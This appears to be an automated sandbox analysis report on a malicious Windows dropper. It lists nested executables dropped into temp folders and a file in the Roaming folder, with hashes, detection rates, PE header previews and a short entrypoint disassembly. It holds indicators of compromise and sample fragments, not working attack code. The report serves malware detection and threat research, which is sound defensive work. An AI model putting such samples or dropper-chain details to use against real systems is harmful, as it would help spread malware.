SHA-256:	0B4A571F91281D7FC445BB282B5A042958C26EDDEEA552DBC3961112E278275E
SHA-512:	B028FE1AA55584F1139CC504E83F0DDA4B8BBC0B452079FD6F5CBA36F051B7F282D22FBC75A0FD7FF1B05BC38FF329F7466733319B9EF40C6EAB144AFD1657E6
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 60% Antivirus: Virustotal, Detection: 29%, Browse
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........>..P...P...P.t.S...P.t.U.+.P.t.T...P...T...P...S...P.t.Q...P...Q...P...U...P.f.U...P.f.P...P.f.R...P.Rich..P.................PE..L......e...............".....x......T.............@.......................... ............@.........................pZ..W...$...P.......................x)......l&...4..8............................3..@...............$............................text............................... ..`.rdata..............................@..@.data....j...`...T...P..............@....idata..............................@..@.00cfg..............................@..@.reloc...........0..................@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\IXP001.TMP\j8864040.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\x1895805.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	392192
Entropy (8bit):	6.682953031547133
Encrypted:	false
SSDEEP:	6144:Q546fuYXChoQTjlFgLuCY1dRuAOzsSpCOUb0+/gycjmfYNfF+Ge5jpAw8y0:QOYzXChdTbv1busb0+72Decw8y
MD5:	DE888FFA158C226ADDE99B9C40F8A5BF
SHA1:	7C63208488779DF00265A294825F235CBBB57873
SHA-256:	61CF9C227B596939D96D44749DAB2FD98340B63294AAC2697299D6850B45FC49
SHA-512:	D9C591CCC2F551CE706BB59ABD416FC7BE2939900FD224F34FC0CC10B6147E7121C37BCA62CEF5BE7E5EAFB0A319E825D6BE5061E208CEB5728B87804AEB4D64
Malicious:	true
Antivirus:	Antivirus: Virustotal, Detection: 43%, Browse
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......[H.z.)r).)r).)r).[q(.)r).[w(.)r).[v(.)r).[s(.)r).)s).)r)PUv(.)r)PUq(.)r)PUw(L)r).U{(.)r).Ur(.)r).Up(.)r)Rich.)r)........................PE..L...{..e...............".6...........q.......P....@..........................0............@......................... !..P...p!..(................................... ...............................`...@............P..0............................text....4.......6.................. ..`.rdata..H....P.......:..............@..@.data........0......................@....syhua.......P.......$..............@....reloc..............................@..B................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\IXP001.TMP\v5523814.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\v0139395.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	674304
Entropy (8bit):	7.880775474404236
Encrypted:	false
SSDEEP:	12288:2Mrly90rpGAcmQez7l1nIttoNoSWQwIKNKrV+vwfTU39sIdL4:DyCgAIShibGoSWrIYKMrsUL4
MD5:	8C88F4E2A9CBD0F50308ECFBF2682492
SHA1:	E507D31C34BCD36F6F07C3B4D8281736F040638E
SHA-256:	9D1636298EC6323AC30F7517BF00F730242E299260607050CD68BD0B2E70150F
SHA-512:	4C4176CC20ACFFE78E2973E38C2D7AC0668770D6AD0180FD9A12E3D8807037B9E18636053E2CFDE6D9AB1D048196B6772B9A9DF41B2F638C266EE923FA47A223
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 78% Antivirus: Virustotal, Detection: 72%, Browse
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........%...K..K..K...N..K...H..K...O..K...J..K..J...K...C..K.....K...I..K.Rich..K.........PE..L....`.b.................d..........`j............@.................................8.....@...... ......................................................................T...............................@............................................text....c.......d.................. ..`.data...H............h..............@....idata..R............j..............@..@.rsrc................\|..............@..@.reloc...............@..............@..B........................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\IXP001.TMP\x1678116.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\x1895805.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	580608
Entropy (8bit):	7.853192356983195
Encrypted:	false
SSDEEP:	12288:4Mrhy903qTB1dtQWiPFNzwDQdv1aeDaOfai+z:pyHVZi9NsDQ51Ai+z
MD5:	80247752BC4EC1325C8B84BA7F903690
SHA1:	190314354BCE9A0544458A36B47CA9CF9538C583
SHA-256:	6E60CC6764DA47E181B3AE4ED223ACB28EC2B65F1A7CC10D0C44F4A43DA14F00
SHA-512:	D9957B844D86A323A68BFBCF11F44324709AAF87E99BF8CDA144323857A60317C1F054DED7E4A4CA6FC716FE44661720BA20332492DFD372C2C179E99606BF52
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Virustotal, Detection: 65%, Browse
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........%...K..K..K...N..K...H..K...O..K...J..K..J...K...C..K.....K...I..K.Rich..K.........PE..L....`.b.................d...t......`j............@..........................0............@...... ......................................(T................... ..........T...............................@............................................text....c.......d.................. ..`.data...H............h..............@....idata..R............j..............@..@.rsrc....`.......V...\|..............@..@.reloc....... ......................@..B........................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\IXP002.TMP\c5286836.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP001.TMP\v5523814.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	547192
Entropy (8bit):	6.068669425174392
Encrypted:	false
SSDEEP:	6144:4+4UxvdjNgBoHFIZ0YesFZITJuUQnAkgPk9fV:UQNg2FTJuUQnaPqV
MD5:	9B45E6934F5BC977E2A1A36B641EFAD9
SHA1:	272ECC9A0B3265BBE64C1F503D2438639BDC4051
SHA-256:	C358226B5201308158C21F5E13F895B1955DA1A821E6C5CAE1911FBC4DFD74BD
SHA-512:	CCCC23DEFC8749FEB2C3DC7B54781979A553D5930A8FAC250472B738282A408EB250740018661C0E0C061C9A7E8F5E94EB9AE90DE706BB9D2115E9DEDC86BAD5
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........>..P...P...P.t.S...P.t.U.+.P.t.T...P...T...P...S...P.t.Q...P...Q...P...U...P.f.U...P.f.P...P.f.R...P.Rich..P.................PE..L......e..............."............T.............@..........................p............@.........................pZ..W...$"..P....................0..x)...@..`&...4..8............................3..@............ ..$............................text............................... ..`.rdata..............................@..@.data.......`.......P..............@....idata....... ......................@..@.00cfg.......0......................@..@.reloc...,...@......................@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\IXP002.TMP\v2232713.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP001.TMP\v5523814.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	396288
Entropy (8bit):	7.739955284851547
Encrypted:	false
SSDEEP:	6144:Kwy+bnr+Ap0yN90QEXotiQ2FKoH3+sxNEa1b5iQAZZNROhzV+UMKMSQTXQ:AMrMy90SttoKotwQbIXNRuV+Hg
MD5:	B632113C967BF119C2FFB113D0EC60C1
SHA1:	276EA6F7DD7213ADFE9B343245BFA194BC33EE12
SHA-256:	E2F83068722BE66F38FAFE331C409F92898A4ABFFF1926A64C7577489C5FB89A
SHA-512:	F9367F52715BD2E83F0CB6655A0EC09458D1F371FB9263ED44DA9A92E6647D301D15C77FE297027937B354100F4565D23D8ED8FCFCD954BF3EFFDC736F89127B
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........%...K..K..K...N..K...H..K...O..K...J..K..J...K...C..K.....K...I..K.Rich..K.........PE..L....`.b.................d..........`j............@..........................`............@...... ......................................@....................P..........T...............................@............................................text....c.......d.................. ..`.data...H............h..............@....idata..R............j..............@..@.rsrc................\|..............@..@.reloc.......P......................@..B........................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\IXP003.TMP\a3839540.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP002.TMP\v2232713.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	11933
Entropy (8bit):	4.767208212408002
Encrypted:	false
SSDEEP:	96:yA/vMth9sDLibql3A44P9QL4fwmPImg+A03PvXLOzk+gqWYV4J6oP/zNt:yw+wGWt94+iANiCkc4Jhp
MD5:	C8A8CEA45E9B40590620ED7BE3A231AA
SHA1:	104F68ACBFB921ED2E7BF6FB35F427643E7BBC2C
SHA-256:	E8777B31DBBC5DB5CA15255BE6BA323E57A5CA6EEFE1F775D35BB05925AF4AA1
SHA-512:	C59E0D5DA5C966524F2370A5877212A3CFC9FC628AC7A09608BAC67A13E5325C3858E50131FA4E0B1E6CDC036E48C481D40CFCEEEBF5CC52AB050CA1FF77F7D1
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................"...0.."...........@... ...`....@.. ....................................@..................................@..O....`...............................@..8............................................ ............... ..H............text.... ... ...".................. ..`.rsrc........`.......$..............@..@.reloc.............................@..B.................@......H.......T$...............................................................0...........@s.....@...(....&..0..K......... ?...(......~....(....,.r...p.....(....%..(....& ....(....(....&.(....&..0..e.......(....~........+G.....o....r#..p(....,-.o.... ......(....-..(....&(.....o....(....&..X....i2..(....&....0..`.......(....~........+B.....o....r...p(....,(.o.... ......(....-..(....&.o....(....&..X....i2..(....&.0..c......... ?...(......~....(....,.*....(............%...(...

C:\Users\user\AppData\Local\Temp\IXP003.TMP\b1121980.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP002.TMP\v2232713.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	717176
Entropy (8bit):	6.304989080516652
Encrypted:	false
SSDEEP:	12288:lHXgFysVucQptdMLTdY/bBtSbPwBfYU9Lr:Fg9odMv6/FkLw6M3
MD5:	4512B6C7E1F51DB836D1540F2C9A75AC
SHA1:	29DA3D6F1EBF55B797F6C8B585C1C1690673DD4B
SHA-256:	D870398C8243D9C8549A4B373EB665975675564E449C88C82B17470FF0B1C9BA
SHA-512:	0E320F9A1435940FFA59B8BC7E901B0AFACFF9FA7FCEE8BD3CCF37107C0C7D463D26DB152171B708E05DD1E0570CF0EF4C2DE5735AA26FA1CC58DA6C33E8488B
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........>..P...P...P.t.S...P.t.U.+.P.t.T...P...T...P...S...P.t.Q...P...Q...P...U...P.f.U...P.f.P...P.f.R...P.Rich..P.................PE..L......e...............".....Z......T.............@.......................................@.........................pZ..W...$...P.......................x)......l&...4..8............................3..@...............$............................text............................... ..`.rdata..............................@..@.data...@M...`...8...P..............@....idata..............................@..@.00cfg..............................@..@.reloc...........0..................@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\packages\ActiveSync\LocalState\DiagOutputDir\SyncVerbose.etl.0001 (copy)

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.10977740119386453
Encrypted:	false
SSDEEP:	12:263zXm/EyM2xX/7EsRslliRKQ10nMCldimE8eawHjcjv:266lbL2i9yMCldzE9BHjcL
MD5:	E959758488FA188DDB6452D088A15986
SHA1:	B424A0E0FBC4D3DF74D17119D9ED99EC271648A2
SHA-256:	4646FDDE89D1E4F55237430C563A1B525EA1BB9EE37FE66533F4B9426DD860BA
SHA-512:	095C0C9A3EE068F8C3BD24FCC67A756B57062DE89CA2FB7E53401031E95AC6E7E20B52DE0FA7B1E392280A1DF9B203C7C51700A35DC3BC137BF7F77B6B59A39F
Malicious:	false
Reputation:	low
Preview:	..........................................................................................B'.....................B..............Zb..................................................@.t.z.r.e.s...d.l.l.,.-.3.2.2.......................................................@.t.z.r.e.s...d.l.l.,.-.3.2.1...........................................................m.<.(..... .....<.,.5...........S.y.n.c.V.e.r.b.o.s.e...C.:.\.U.s.e.r.s.\.j.o.n.e.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.p.a.c.k.a.g.e.s.\.A.c.t.i.v.e.S.y.n.c.\.L.o.c.a.l.S.t.a.t.e.\.D.i.a.g.O.u.t.p.u.t.D.i.r.\.S.y.n.c.V.e.r.b.o.s.e...e.t.l...........P.P.......... B'....................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\packages\ActiveSync\LocalState\DiagOutputDir\UnistackCircular.etl.0001 (copy)

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.11237968276471598
Encrypted:	false
SSDEEP:	12:f0zXm/EyM2xX/7EsRjGlz1miwRKQ10nMCldimE8eawHza1miIXp0f:JlbL5Gx1tw9yMCldzE9BHza1tIZk
MD5:	9CE9CE4F6FA0560E11C7D874A70E51B3
SHA1:	3C95D34FE0F44E56FCE0BBD3E60BD4A882578966
SHA-256:	03EE10FBCEF6A825999BB32FA15BF46F36D830AB2DD6440C2B59DC6023AD5979
SHA-512:	6DB08EC088AA504B9862CC3BA903AC6DA934444B3D0E154BCDB05DF3BB2D90846BC42064A88A4854174B21478B6FB7AEBD37ABF012CD9C26ECA95D56B8458AFA
Malicious:	false
Reputation:	low
Preview:	........................................................................................R.A'.....................B..............Zb..................................................@.t.z.r.e.s...d.l.l.,.-.3.2.2.......................................................@.t.z.r.e.s...d.l.l.,.-.3.2.1...........................................................m.<.(..... .......'.5...........U.n.i.s.t.a.c.k.C.i.r.c.u.l.a.r...C.:.\.U.s.e.r.s.\.j.o.n.e.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.p.a.c.k.a.g.e.s.\.A.c.t.i.v.e.S.y.n.c.\.L.o.c.a.l.S.t.a.t.e.\.D.i.a.g.O.u.t.p.u.t.D.i.r.\.U.n.i.s.t.a.c.k.C.i.r.c.u.l.a.r...e.t.l.......P.P..........!A'....................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\packages\ActiveSync\LocalState\DiagOutputDir\UnistackCritical.etl.0001 (copy)

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.11245857156447044
Encrypted:	false
SSDEEP:	12:UtlCzXm/EyM2xX/7EsRbllz1mK2JRKQ10nMCldimE8eawHza1mK5/Cf:Ut5lbLFlx1iJ9yMCldzE9BHza1FK
MD5:	26408A266A6F87C45BD787CE28B23A4C
SHA1:	39A27EC5E9ED0E8AAD6510422B59B90D5D276B93
SHA-256:	971CBBA822B54AEF59ABD6A96189E6275F7F13512EA9FA6027074C421054BB21
SHA-512:	FEED5092FB1BAA562247836A2BE82031B0A235B8AA46BF305DD33CF4F15EF3FBEE74D8B48731994F4B826E54DD9993769004E41407A50C15A8170081AAEB37FC
Malicious:	false
Reputation:	low
Preview:	..........................................................................................?'.....................B..............Zb..................................................@.t.z.r.e.s...d.l.l.,.-.3.2.2.......................................................@.t.z.r.e.s...d.l.l.,.-.3.2.1...........................................................m.<.(..... .......#.5...........U.n.i.s.t.a.c.k.C.r.i.t.i.c.a.l...C.:.\.U.s.e.r.s.\.j.o.n.e.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.p.a.c.k.a.g.e.s.\.A.c.t.i.v.e.S.y.n.c.\.L.o.c.a.l.S.t.a.t.e.\.D.i.a.g.O.u.t.p.u.t.D.i.r.\.U.n.i.s.t.a.c.k.C.r.i.t.i.c.a.l...e.t.l.......P.P...........?'....................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\fahrbrd

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	102568
Entropy (8bit):	6.274915370413725
Encrypted:	false
SSDEEP:	1536:f+O0+0BABvzenRuFTKLNkG1xkQJVkMTUuhkHyC+dBsE:f+T+JzeRuFTIkakMTUuhdTn
MD5:	4DF5F963C7E18F062E49870D0AFF8F6F
SHA1:	0A033024346BF706CAD68E90A14C0D651B123EC2
SHA-256:	CFA7D98AD44C7FB11DE5FF07DA04F8FD4A3423564DE05F87BA5E10BD13A1FE59
SHA-512:	67086DA7E21E60E0DDF66CEE090AD1ACCC8D9D7F627942ECFE1BD8E9E47E98FE9A50B9F077FBA7584A002B7BE5D6DE18B4DD84268B441509DB18D822ABF9D81B
Malicious:	true
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........D...D...D.....n.E.......@.......F.......Q.......J...Z.A.F...D.........k.M.......Y.....-.E.......E...RichD...................PE..L...qn.\.........."..........6...............0....@..................................E....@...... ...........................Q.......`...............R...>...p..........T...............................@............P...............................text...D........................... ..`.data........0......................@....idata..6....P......................@..@.rsrc........`.......,..............@..@.reloc.......p.......<..............@..B........................................................................................................................................................................................................................................................................................................

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Reputation:	low
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\DeliveryOptimization\Logs\dosvc.20230923_155238_896.etl

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	4.283295021626857
Encrypted:	false
SSDEEP:	192:Efj7lKjNhlU1yDNrK6/L4noTrKC+zCG/edEyq6rKg1+ce5CfqarqGLQxzCfPhZ9j:Ef/lUNhqoGRce4CwMzCf5Zq5xf8bB
MD5:	DE949FB223AA8ADB1265FC667CDF4B4A
SHA1:	BD8DD70FFAC0453B312C0B9CF68A9EB7331E128C
SHA-256:	601466A3CE78F35B4D4ED102BCA89E2E99F947894D121BCDE733389EC5C725B7
SHA-512:	5C3493673771996D26E16254D14C3973B369D7140274DCBB1031A73B5891BEB525CA11862EC4FE9672A858197924830DF186DC7FBE0C5817F9C730CF2E30F471
Malicious:	false
Reputation:	low
Preview:	.... ... ....................................... ...!...........................$................................B..............Zb... ... ..........................................@.t.z.r.e.s...d.l.l.,.-.3.2.2.......................................................@.t.z.r.e.s...d.l.l.,.-.3.2.1............................................................7..2..... ........5...........8.6.9.6.E.A.C.4.-.1.2.8.8.-.4.2.8.8.-.A.4.E.E.-.4.9.E.E.4.3.1.B.0.A.D.9...C.:.\.W.i.n.d.o.w.s.\.S.e.r.v.i.c.e.P.r.o.f.i.l.e.s.\.N.e.t.w.o.r.k.S.e.r.v.i.c.e.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.M.i.c.r.o.s.o.f.t.\.W.i.n.d.o.w.s.\.D.e.l.i.v.e.r.y.O.p.t.i.m.i.z.a.t.i.o.n.\.L.o.g.s.\.d.o.s.v.c...2.0.2.3.0.9.2.3._.1.5.5.2.3.8._.8.9.6...e.t.l.........P.P.$...............................................................................................................................................................................................................................................................................

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1572864
Entropy (8bit):	4.369968880903065
Encrypted:	false
SSDEEP:	12288:rBadycG3iMuSk0tG5I9kPmOS69Oa0akg3OK0MmlFoWywCs8GAyGG:NadycG3iMu90tGv+6V
MD5:	37D77055081AD8BE59DAACF9C2B6F419
SHA1:	AB6122E3E01C75889C4DCB31669C0CED8004E3DA
SHA-256:	C55692237C7FC03A8D3E5C8073E8803C254070FDDE63BF0AC628254CBCD85D98
SHA-512:	566BB575538BDAEAA4DA18C6102AA2B7C4B57FAC98095C79632E6903E22A8480ED5FF14734E4412FA51705E39D34E7DB62FDF8CBF8DEA2B06E4EFBD75941C52B
Malicious:	false
Reputation:	low
Preview:	regf[...[...p.\..,.................. ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e...4............E.4............E.....5............E.rmtm..%.5.................................................................................................................................................................................................................................................................................................................................................,.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\appcompat\Programs\Amcache.hve.LOG1

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	3.377060556288507
Encrypted:	false
SSDEEP:	768:oXHprTFVbL0vI/ldcc5+JTZPYG3RPzi4uF5Tb2J:YhI
MD5:	71653AA59E64F703A7803C13DBF48B15
SHA1:	CFB250C719546B6027517E9D16F1C71269923EE4
SHA-256:	85DB28145F8DE5CCC81771E5BEA238F7A096A1EE6E4E1775195187C24F095F39
SHA-512:	2C91CA5C207124484FF52BBD17627E42C0E04ED6FED39075FC45602E9E42DD5871C649605D1A0592DC29B8AFBD63C6AFADA94C4D835997D40500F61A5A41BF9D
Malicious:	false
Reputation:	low
Preview:	regfZ...Z...p.\..,.................. ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e...4............E.4............E.....5............E.rmtm..%.5.................................................................................................................................................................................................................................................................................................................................................,.HvLE.^......Z............W.....i...G..........0.......`...0..hbin................p.\..,..........nk,...%.5................................... ...........................&...{ad79c032-a2ea-f756-e377-72fb9332c3ae}......nk ...%.5....... ........................... .......Z.......................Root........lf......Root....nk ...%.5................................... ...............*...............DeviceCensus.......................vk..................WritePermissionsCheck.......p...

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.941079344768231
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	e1c29f91924be94ceb6cbc2aecbd34ccdd9b2761d4b1c.exe
File size:	1'088'512 bytes
MD5:	6bf4c9d2b8dbd206c60ca8cd78c66141
SHA1:	638da5eaece51d6cf4ac16b8c157d0794b873eb1
SHA256:	e1c29f91924be94ceb6cbc2aecbd34ccdd9b2761d4b1c880e91bd0b053bbc79a
SHA512:	4f653e12ac116bfd1012c7c71beda733cd5d3401fefff98b8a1f9506665fe350795981909b6c16a0b99ffab56ccbddffd0d6e5ea8431933227b72e49a883cec7
SSDEEP:	24576:iyCQhvgJFECQG2llomrEaAHEw3+oOG3P+uUG:JCQhYJslohHEw3cG3
TLSH:	53352343A2D85562C5721B312CF613A70B3ABC62AD7493573B86F2AE29739C1A435327
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........%...K...K...K...N...K...H...K...O...K...J...K...J...K...C...K.......K...I...K.Rich..K.........PE..L....`.b.................d.

File Icon


Icon Hash:	3b6120282c4c5a1f

Static PE Info

General

Entrypoint:	0x406a60
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE
Time Stamp:	0x628D60E2 [Tue May 24 22:49:06 2022 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	10
OS Version Minor:	0
File Version Major:	10
File Version Minor:	0
Subsystem Version Major:	10
Subsystem Version Minor:	0
Import Hash:	646167cce332c1c252cdcb1839e0cf48

Entrypoint Preview

Instruction
call 00007F3238D11C05h
jmp 00007F3238D11515h
push 00000058h
push 004072B8h
call 00007F3238D11CA7h
xor ebx, ebx
mov dword ptr [ebp-20h], ebx
lea eax, dword ptr [ebp-68h]
push eax
call dword ptr [0040A184h]
mov dword ptr [ebp-04h], ebx
mov eax, dword ptr fs:[00000018h]
mov esi, dword ptr [eax+04h]
mov edi, ebx
mov edx, 004088ACh
mov ecx, esi
xor eax, eax
lock cmpxchg dword ptr [edx], ecx
test eax, eax
je 00007F3238D1152Ah
cmp eax, esi
jne 00007F3238D11519h
xor esi, esi
inc esi
mov edi, esi
jmp 00007F3238D11522h
push 000003E8h
call dword ptr [0040A188h]
jmp 00007F3238D114E9h
xor esi, esi
inc esi
cmp dword ptr [004088B0h], esi
jne 00007F3238D1151Ch
push 0000001Fh
call 00007F3238D11A3Bh
pop ecx
jmp 00007F3238D1154Ch
cmp dword ptr [004088B0h], ebx
jne 00007F3238D1153Eh
mov dword ptr [004088B0h], esi
push 004010C4h
push 004010B8h
call 00007F3238D11666h
pop ecx
pop ecx
test eax, eax
je 00007F3238D11529h
mov dword ptr [ebp-04h], FFFFFFFEh
mov eax, 000000FFh
jmp 00007F3238D11649h
mov dword ptr [004081E4h], esi
cmp dword ptr [004088B0h], esi
jne 00007F3238D1152Dh
push 004010B4h
push 004010ACh
call 00007F3238D11BF5h
pop ecx
pop ecx
mov dword ptr [000088B0h], 00000000h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xa28c	0xb4	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xc000	0x1015b8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x10e000	0x888	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x1410	0x54	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x1008	0x40	.text
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0xa000	0x288	.idata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x6314	0x6400	False	0.5744140625	data	6.314163792045976	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0x8000	0x1a48	0x200	False	0.609375	data	4.970639543960129	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0xa000	0x1052	0x1200	False	0.4140625	data	5.025949912909207	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0xc000	0x102000	0x101600	False	0.9712751183827101	data	7.959052624557697	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x10e000	0x888	0xa00	False	0.746484375	data	6.222637930812128	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
AVI	0xc9f8	0x2e1a	RIFF (little-endian) data, AVI, 272 x 60, 10.00 fps, video: RLE 8bpp	English	United States	0.2713099474665311
RT_ICON	0xf814	0x668	Device independent bitmap graphic, 48 x 96 x 4, image size 1152	English	United States	0.3225609756097561
RT_ICON	0xfe7c	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 512	English	United States	0.41263440860215056
RT_ICON	0x10164	0x1e8	Device independent bitmap graphic, 24 x 48 x 4, image size 288	English	United States	0.4569672131147541
RT_ICON	0x1034c	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128	English	United States	0.5574324324324325
RT_ICON	0x10474	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	English	United States	0.6223347547974414
RT_ICON	0x1131c	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	English	United States	0.7369133574007221
RT_ICON	0x11bc4	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors	English	United States	0.783410138248848
RT_ICON	0x1228c	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	English	United States	0.3829479768786127
